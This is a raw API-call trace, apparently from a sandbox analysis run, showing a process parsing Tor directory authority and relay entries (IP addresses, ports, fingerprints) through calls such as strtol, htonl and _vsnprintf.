[0115.693] localeconv () returned 0x75db2b80 [0115.693] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.693] _errno () returned 0x9f07d8 [0115.693] htonl (hostlong=0x3ed281f6) returned 0xf681d23e [0115.693] htonl (hostlong=0xf681d23e) returned 0x3ed281f6 [0115.693] htonl (hostlong=0xf681d23e) returned 0x3ed281f6 [0115.693] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="62.210.129.246") returned 14 [0115.693] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.693] _errno () returned 0x9f07d8 [0115.693] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.693] _errno () returned 0x9f07d8 [0115.693] strncmp (_Str1="id=7A32", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.693] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.693] strncmp (_Str1="ipv6=[2", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.693] strncmp (_Str1="ipv", _Str2="id=", _MaxCount=0x3) returned 12 [0115.693] strtol (in: _Str="2001:470:53e0::cafe]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":470:53e0::cafe]:905") returned 8193 [0115.693] strtol (in: _Str="470:53e0::cafe]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":53e0::cafe]:905") returned 1136 [0115.693] strtol (in: _Str="53e0::cafe]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::cafe]:905") returned 21472 [0115.693] strtol (in: _Str="cafe]:905", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:905") returned 51966 [0115.693] strtol (in: _Str="9050", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9050 [0115.693] _errno () returned 0x9f07d8 [0115.693] strtol (in: _Str="2001:470:53e0::cafe", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":470:53e0::cafe") returned 8193 [0115.693] strtol (in: _Str="470:53e0::cafe", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":53e0::cafe") returned 1136 [0115.693] strtol (in: _Str="53e0::cafe", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::cafe") returned 21472 [0115.693] strtol (in: _Str="cafe", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 51966 [0115.693] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.693] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.693] strncmp (_Str1="weight=", _Str2="weight=", _MaxCount=0x7) returned 0 [0115.693] _errno () returned 0x9f07d8 [0115.693] localeconv () returned 0x75db2b80 [0115.693] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.693] _errno () returned 0x9f07d8 [0115.693] htonl (hostlong=0x52df154a) returned 0x4a15df52 [0115.693] htonl (hostlong=0x4a15df52) returned 0x52df154a [0115.694] htonl (hostlong=0x4a15df52) returned 0x52df154a [0115.694] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="82.223.21.74") returned 12 [0115.694] strncmp (_Str1="orport=", _Str2="orport=", _MaxCount=0x7) returned 0 [0115.694] _errno () returned 0x9f07d8 [0115.694] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.694] _errno () returned 0x9f07d8 [0115.694] strncmp (_Str1="id=823A", _Str2="orport=", _MaxCount=0x7) returned -6 [0115.694] strncmp (_Str1="id=", _Str2="id=", _MaxCount=0x3) returned 0 [0115.694] strncmp (_Str1="weight=", _Str2="orport=", _MaxCount=0x7) returned 8 [0115.694] strncmp (_Str1="wei", _Str2="id=", _MaxCount=0x3) returned 14 [0115.694] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.694] _errno () returned 0x9f07d8 [0115.694] htonl (hostlong=0xc0a066a4) returned 0xa466a0c0 [0115.694] htonl (hostlong=0xa466a0c0) returned 0xc0a066a4 [0115.694] htonl (hostlong=0xa466a0c0) returned 0xc0a066a4 [0115.694] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="192.160.102.164") returned 15 [0115.694] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.694] _errno () returned 0x9f07d8 [0115.694] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.694] _errno () returned 0x9f07d8 [0115.694] htonl (hostlong=0xc0571c52) returned 0x521c57c0 [0115.694] htonl (hostlong=0x521c57c0) returned 0xc0571c52 [0115.694] htonl (hostlong=0x521c57c0) returned 0xc0571c52 [0115.694] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="192.87.28.82") returned 12 [0115.694] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.694] _errno () returned 0x9f07d8 [0115.694] strtol (in: _Str="80", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 80 [0115.694] _errno () returned 0x9f07d8 [0115.694] htonl (hostlong=0xa3ac8a16) returned 0x168aaca3 [0115.694] htonl (hostlong=0x168aaca3) returned 0xa3ac8a16 [0115.694] htonl (hostlong=0x168aaca3) returned 0xa3ac8a16 [0115.694] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="163.172.138.22") returned 14 [0115.694] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.694] _errno () returned 0x9f07d8 [0115.694] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.694] _errno () returned 0x9f07d8 [0115.694] htonl (hostlong=0x5db49c54) returned 0x549cb45d [0115.694] htonl (hostlong=0x549cb45d) returned 0x5db49c54 [0115.694] htonl (hostlong=0x549cb45d) returned 0x5db49c54 [0115.694] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="93.180.156.84") returned 13 [0115.695] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.695] _errno () returned 0x9f07d8 [0115.695] strtol (in: _Str="2001:41d0:e:f67::114]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":41d0:e:f67::114]:900") returned 8193 [0115.695] strtol (in: _Str="41d0:e:f67::114]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":e:f67::114]:900") returned 16848 [0115.695] strtol (in: _Str="e:f67::114]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":f67::114]:900") returned 14 [0115.695] strtol (in: _Str="f67::114]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::114]:900") returned 3943 [0115.695] strtol (in: _Str="114]:900", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:900") returned 276 [0115.695] strtol (in: _Str="9001", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 9001 [0115.695] _errno () returned 0x9f07d8 [0115.695] strtol (in: _Str="2001:41d0:e:f67::114", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":41d0:e:f67::114") returned 8193 [0115.695] strtol (in: _Str="41d0:e:f67::114", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":e:f67::114") returned 16848 [0115.695] strtol (in: _Str="e:f67::114", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":f67::114") returned 14 [0115.695] strtol (in: _Str="f67::114", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::114") returned 3943 [0115.695] strtol (in: _Str="114", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 276 [0115.695] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.695] _errno () returned 0x9f07d8 [0115.695] htonl (hostlong=0x97502a67) returned 0x672a5097 [0115.695] htonl (hostlong=0x672a5097) returned 0x97502a67 [0115.695] htonl (hostlong=0x672a5097) returned 0x97502a67 [0115.695] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="151.80.42.103") returned 13 [0115.695] strtol (in: _Str="443", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 443 [0115.695] _errno () returned 0x9f07d8 [0115.695] strtol (in: _Str="2001:1af8:4700:a012:1::1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":1af8:4700:a012:1::1]:44") returned 8193 [0115.695] strtol (in: _Str="1af8:4700:a012:1::1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":4700:a012:1::1]:44") returned 6904 [0115.695] strtol (in: _Str="4700:a012:1::1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":a012:1::1]:44") returned 18176 [0115.695] strtol (in: _Str="a012:1::1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*=":1::1]:44") returned 40978 [0115.695] strtol (in: _Str="1::1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="::1]:44") returned 1 [0115.695] strtol (in: _Str="1]:44", _EndPtr=0x36f290, _Radix=16 | out: _EndPtr=0x36f290*="]:44") returned 1 [0115.695] strtol (in: _Str="443", _EndPtr=0x36f2a4, _Radix=10 | out: _EndPtr=0x36f2a4*="") returned 443 [0115.695] _errno () returned 0x9f07d8 [0115.695] strtol (in: _Str="2001:1af8:4700:a012:1::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":1af8:4700:a012:1::1") returned 8193 [0115.695] strtol (in: _Str="1af8:4700:a012:1::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":4700:a012:1::1") returned 6904 [0115.695] strtol (in: _Str="4700:a012:1::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":a012:1::1") returned 18176 [0115.695] strtol (in: _Str="a012:1::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*=":1::1") returned 40978 [0115.695] strtol (in: _Str="1::1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="::1") returned 1 [0115.695] strtol (in: _Str="1", _EndPtr=0x36f2f0, _Radix=16 | out: _EndPtr=0x36f2f0*="") returned 1 [0115.695] strtol (in: _Str="81", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 81 [0115.695] _errno () returned 0x9f07d8 [0115.695] htonl (hostlong=0x54f44a1) returned 0xa1444f05 [0115.695] htonl (hostlong=0xa1444f05) returned 0x54f44a1 [0115.696] htonl (hostlong=0xa1444f05) returned 0x54f44a1 [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="5.79.68.161") returned 11 [0115.696] strtol (in: _Str="9001", _EndPtr=0x36f3c4, _Radix=10 | out: _EndPtr=0x36f3c4*="") returned 9001 [0115.696] _errno () returned 0x9f07d8 [0115.696] strtol (in: _Str="9030", _EndPtr=0x36f2f4, _Radix=10 | out: _EndPtr=0x36f2f4*="") returned 9030 [0115.696] _errno () returned 0x9f07d8 [0115.696] htonl (hostlong=0x33ff2941) returned 0x4129ff33 [0115.696] htonl (hostlong=0x4129ff33) returned 0x33ff2941 [0115.696] htonl (hostlong=0x4129ff33) returned 0x33ff2941 [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="51.255.41.65") returned 12 [0115.696] htonl (hostlong=0x5bdbedf4) returned 0xf4eddb5b [0115.696] htonl (hostlong=0xf4eddb5b) returned 0x5bdbedf4 [0115.696] htonl (hostlong=0xf4eddb5b) returned 0x5bdbedf4 [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="91.219.237.244") returned 14 [0115.696] htonl (hostlong=0x55d6cedb) returned 0xdbced655 [0115.696] htonl (hostlong=0xdbced655) returned 0x55d6cedb [0115.696] htonl (hostlong=0xdbced655) returned 0x55d6cedb [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="85.214.206.219") returned 14 [0115.696] htonl (hostlong=0x51070a5d) returned 0x5d0a0751 [0115.696] htonl (hostlong=0x5d0a0751) returned 0x51070a5d [0115.696] htonl (hostlong=0x5d0a0751) returned 0x51070a5d [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="81.7.10.93") returned 10 [0115.696] htonl (hostlong=0x2e1c6ef4) returned 0xf46e1c2e [0115.696] htonl (hostlong=0xf46e1c2e) returned 0x2e1c6ef4 [0115.696] htonl (hostlong=0xf46e1c2e) returned 0x2e1c6ef4 [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.28.110.244") returned 13 [0115.696] htonl (hostlong=0x2ea5e605) returned 0x5e6a52e [0115.696] htonl (hostlong=0x5e6a52e) returned 0x2ea5e605 [0115.696] htonl (hostlong=0x5e6a52e) returned 0x2ea5e605 [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.165.230.5") returned 12 [0115.696] htonl (hostlong=0xab19c14d) returned 0x4dc119ab [0115.696] htonl (hostlong=0x4dc119ab) returned 0xab19c14d [0115.696] htonl (hostlong=0x4dc119ab) returned 0xab19c14d [0115.696] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="171.25.193.77") returned 13 [0115.697] htonl (hostlong=0xb0090574) returned 0x740509b0 [0115.697] htonl (hostlong=0x740509b0) returned 0xb0090574 [0115.697] htonl (hostlong=0x740509b0) returned 0xb0090574 [0115.697] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="176.9.5.116") returned 11 [0115.697] htonl (hostlong=0xc0223f89) returned 0x893f22c0 [0115.697] htonl (hostlong=0x893f22c0) returned 0xc0223f89 [0115.697] htonl (hostlong=0x893f22c0) returned 0xc0223f89 [0115.697] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="192.34.63.137") returned 13 [0115.697] htonl (hostlong=0x563b7758) returned 0x58773b56 [0115.697] htonl (hostlong=0x58773b56) returned 0x563b7758 [0115.697] htonl (hostlong=0x58773b56) returned 0x563b7758 [0115.697] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="86.59.119.88") returned 12 [0115.697] htonl (hostlong=0xa3ac8358) returned 0x5883aca3 [0115.697] htonl (hostlong=0x5883aca3) returned 0xa3ac8358 [0115.697] htonl (hostlong=0x5883aca3) returned 0xa3ac8358 [0115.697] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="163.172.131.88") returned 14 [0115.697] htonl (hostlong=0xb2fe2c87) returned 0x872cfeb2 [0115.697] htonl (hostlong=0x872cfeb2) returned 0xb2fe2c87 [0115.697] htonl (hostlong=0x872cfeb2) returned 0xb2fe2c87 [0115.697] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.254.44.135") returned 14 [0115.697] htonl (hostlong=0x25bb074a) returned 0x4a07bb25 [0115.697] htonl (hostlong=0x4a07bb25) returned 0x25bb074a [0115.816] htonl (hostlong=0x4a07bb25) returned 0x25bb074a [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="37.187.7.74") returned 11 [0115.816] htonl (hostlong=0xd4813ee8) returned 0xe83e81d4 [0115.816] htonl (hostlong=0xe83e81d4) returned 0xd4813ee8 [0115.816] htonl (hostlong=0xe83e81d4) returned 0xd4813ee8 [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="212.129.62.232") returned 14 [0115.816] htonl (hostlong=0xb942fa8d) returned 0x8dfa42b9 [0115.816] htonl (hostlong=0x8dfa42b9) returned 0xb942fa8d [0115.816] htonl (hostlong=0x8dfa42b9) returned 0xb942fa8d [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="185.66.250.141") returned 14 [0115.816] htonl (hostlong=0xc10b722e) returned 0x2e720bc1 [0115.816] htonl (hostlong=0x2e720bc1) returned 0xc10b722e [0115.816] htonl (hostlong=0x2e720bc1) returned 0xc10b722e [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="193.11.114.46") returned 13 [0115.816] htonl (hostlong=0xc5e7ddd3) returned 0xd3dde7c5 [0115.816] htonl (hostlong=0xd3dde7c5) returned 0xc5e7ddd3 [0115.816] htonl (hostlong=0xd3dde7c5) returned 0xc5e7ddd3 [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="197.231.221.211") returned 15 [0115.816] htonl (hostlong=0xc6609b03) returned 0x39b60c6 [0115.816] htonl (hostlong=0x39b60c6) returned 0xc6609b03 [0115.816] htonl (hostlong=0x39b60c6) returned 0xc6609b03 [0115.816] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="198.96.155.3") returned 12 [0115.817] htonl (hostlong=0x94fbbee5) returned 0xe5befb94 [0115.817] htonl (hostlong=0xe5befb94) returned 0x94fbbee5 [0115.817] htonl (hostlong=0xe5befb94) returned 0x94fbbee5 [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="148.251.190.229") returned 15 [0115.817] htonl (hostlong=0xbc8a703c) returned 0x3c708abc [0115.817] htonl (hostlong=0x3c708abc) returned 0xbc8a703c [0115.817] htonl (hostlong=0x3c708abc) returned 0xbc8a703c [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="188.138.112.60") returned 14 [0115.817] htonl (hostlong=0xc39a4f80) returned 0x804f9ac3 [0115.817] htonl (hostlong=0x804f9ac3) returned 0xc39a4f80 [0115.817] htonl (hostlong=0x804f9ac3) returned 0xc39a4f80 [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="195.154.79.128") returned 14 [0115.817] htonl (hostlong=0x253b2e9f) returned 0x9f2e3b25 [0115.817] htonl (hostlong=0x9f2e3b25) returned 0x253b2e9f [0115.817] htonl (hostlong=0x9f2e3b25) returned 0x253b2e9f [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="37.59.46.159") returned 12 [0115.817] htonl (hostlong=0x5b793608) returned 0x836795b [0115.817] htonl (hostlong=0x836795b) returned 0x5b793608 [0115.817] htonl (hostlong=0x836795b) returned 0x5b793608 [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="91.121.54.8") returned 11 [0115.817] htonl (hostlong=0xb23ec7e2) returned 0xe2c73eb2 [0115.817] htonl (hostlong=0xe2c73eb2) returned 0xb23ec7e2 [0115.817] htonl (hostlong=0xe2c73eb2) returned 0xb23ec7e2 [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.62.199.226") returned 14 [0115.817] htonl (hostlong=0x867703a4) returned 0xa4037786 [0115.817] htonl (hostlong=0xa4037786) returned 0x867703a4 [0115.817] htonl (hostlong=0xa4037786) returned 0x867703a4 [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="134.119.3.164") returned 13 [0115.817] htonl (hostlong=0xb90d264b) returned 0x4b260db9 [0115.817] htonl (hostlong=0x4b260db9) returned 0xb90d264b [0115.817] htonl (hostlong=0x4b260db9) returned 0xb90d264b [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="185.13.38.75") returned 12 [0115.817] htonl (hostlong=0x25bb739d) returned 0x9d73bb25 [0115.817] htonl (hostlong=0x9d73bb25) returned 0x25bb739d [0115.817] htonl (hostlong=0x9d73bb25) returned 0x25bb739d [0115.817] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="37.187.115.157") returned 14 [0115.817] htonl (hostlong=0x25dda2e2) returned 0xe2a2dd25 [0115.817] htonl (hostlong=0xe2a2dd25) returned 0x25dda2e2 [0115.817] htonl (hostlong=0xe2a2dd25) returned 0x25dda2e2 [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="37.221.162.226") returned 14 [0115.818] htonl (hostlong=0xc1233435) returned 0x353423c1 [0115.818] htonl (hostlong=0x353423c1) returned 0xc1233435 [0115.818] htonl (hostlong=0x353423c1) returned 0xc1233435 [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="193.35.52.53") returned 12 [0115.818] htonl (hostlong=0xb23eadcb) returned 0xcbad3eb2 [0115.818] htonl (hostlong=0xcbad3eb2) returned 0xb23eadcb [0115.818] htonl (hostlong=0xcbad3eb2) returned 0xb23eadcb [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="178.62.173.203") returned 14 [0115.818] htonl (hostlong=0x522b7cd) returned 0xcdb72205 [0115.818] htonl (hostlong=0xcdb72205) returned 0x522b7cd [0115.818] htonl (hostlong=0xcdb72205) returned 0x522b7cd [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="5.34.183.205") returned 12 [0115.818] htonl (hostlong=0x2efc1a02) returned 0x21afc2e [0115.818] htonl (hostlong=0x21afc2e) returned 0x2efc1a02 [0115.818] htonl (hostlong=0x21afc2e) returned 0x2efc1a02 [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.252.26.2") returned 11 [0115.818] htonl (hostlong=0x83bc28bc) returned 0xbc28bc83 [0115.818] htonl (hostlong=0xbc28bc83) returned 0x83bc28bc [0115.818] htonl (hostlong=0xbc28bc83) returned 0x83bc28bc [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="131.188.40.188") returned 14 [0115.818] htonl (hostlong=0x5bdbecde) returned 0xdeecdb5b [0115.818] htonl (hostlong=0xdeecdb5b) returned 0x5bdbecde [0115.818] htonl (hostlong=0xdeecdb5b) returned 0x5bdbecde [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="91.219.236.222") returned 14 [0115.818] htonl (hostlong=0x5ef2f617) returned 0x17f6f25e [0115.818] htonl (hostlong=0x17f6f25e) returned 0x5ef2f617 [0115.818] htonl (hostlong=0x17f6f25e) returned 0x5ef2f617 [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="94.242.246.23") returned 13 [0115.818] htonl (hostlong=0x2e658fad) returned 0xad8f652e [0115.818] htonl (hostlong=0xad8f652e) returned 0x2e658fad [0115.818] htonl (hostlong=0xad8f652e) returned 0x2e658fad [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="46.101.143.173") returned 14 [0115.818] htonl (hostlong=0xc0bb7c62) returned 0x627cbbc0 [0115.818] htonl (hostlong=0x627cbbc0) returned 0xc0bb7c62 [0115.818] htonl (hostlong=0x627cbbc0) returned 0xc0bb7c62 [0115.818] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="192.187.124.98") returned 14 [0115.818] htonl (hostlong=0xc10ba4f3) returned 0xf3a40bc1 [0115.819] htonl (hostlong=0xf3a40bc1) returned 0xc10ba4f3 [0115.819] htonl (hostlong=0xf3a40bc1) returned 0xc10ba4f3 [0115.819] _vsnprintf (in: _DstBuf=0x36f2bc, _MaxCount=0x30, _Format="%d.%d.%d.%d", _ArgList=0x36f15c | out: _DstBuf="193.11.164.243") returned 14 [0115.819] strspn (_Str="moria1", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x6 [0115.819] _strcmpi (_Str1="orport=9101", _Str2="hs") returned 1 [0115.819] _strcmpi (_Str1="orport=9101", _Str2="no-hs") returned 1 [0115.819] _strcmpi (_Str1="orport=9101", _Str2="bridge") returned 1 [0115.819] _strcmpi (_Str1="orport=9101", _Str2="no-v2") returned 1 [0115.819] strlen (_Str="orport=") returned 0x7 [0115.819] _strnicmp (_Str1="orport=", _Str="orport=", _MaxCount=0x7) returned 0 [0115.819] _errno () returned 0x9f07d8 [0115.819] strlen (_Str="orport=") returned 0x7 [0115.819] _strnicmp (_Str1="v3ident", _Str="orport=", _MaxCount=0x7) returned 1 [0115.819] strlen (_Str="weight=") returned 0x7 [0115.819] strlen (_Str="v3ident=") returned 0x8 [0115.819] _strnicmp (_Str1="v3ident=", _Str="v3ident=", _MaxCount=0x8) returned 0 [0115.819] strlen (_Str="D586D18309DED4CD6D57C18FDB97EFA96D330566") returned 0x28 [0115.819] strlen (_Str="") returned 0x0 [0115.819] strlen (_Str="9695") returned 0x4 [0115.819] strlen (_Str="DFC3") returned 0x4 [0115.819] strlen (_Str="5FFE") returned 0x4 [0115.819] strlen (_Str="B861") returned 0x4 [0115.819] strlen (_Str="329B") returned 0x4 [0115.819] strlen (_Str="9F1A") returned 0x4 [0115.819] strlen (_Str="B04C") returned 0x4 [0115.819] strlen (_Str="4639") returned 0x4 [0115.819] strlen (_Str="7020") returned 0x4 [0115.819] strlen (_Str="CE31") returned 0x4 [0115.819] strlen (_Str="9695DFC35FFEB861329B9F1AB04C46397020CE31") returned 0x28 [0115.819] htonl (hostlong=0x801f0027) returned 0x27001f80 [0115.819] htonl (hostlong=0x27001f80) returned 0x801f0027 [0115.819] htonl (hostlong=0x801f0027) returned 0x27001f80 [0115.819] htonl (hostlong=0x27001f80) returned 0x801f0027 [0115.819] strlen (_Str="tor26") returned 0x5 [0115.819] strspn (_Str="tor26", _Control="abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789") returned 0x5 [0115.819] _strcmpi 